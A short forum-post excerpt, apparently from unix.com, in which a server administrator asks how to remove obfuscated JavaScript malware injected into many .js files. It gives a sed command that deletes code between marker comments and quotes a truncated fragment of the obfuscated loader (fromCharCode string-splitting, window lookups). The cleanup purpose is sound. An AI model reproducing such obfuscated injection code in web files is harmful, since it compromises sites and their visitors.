Removing obfuscated javascript from js files

view full story

http://www.unix.com – ello, I am trying to remove obfuscated code in multiple files on a server, the malicious code is surronded by Code: /*km0ae9gr6m*//*qhk6sa6g1c*/ I had success removing from some files using this command Code: sed -i ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b strt}' fileaffected.js But it failed on this pattern Code: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window[" (HowTos)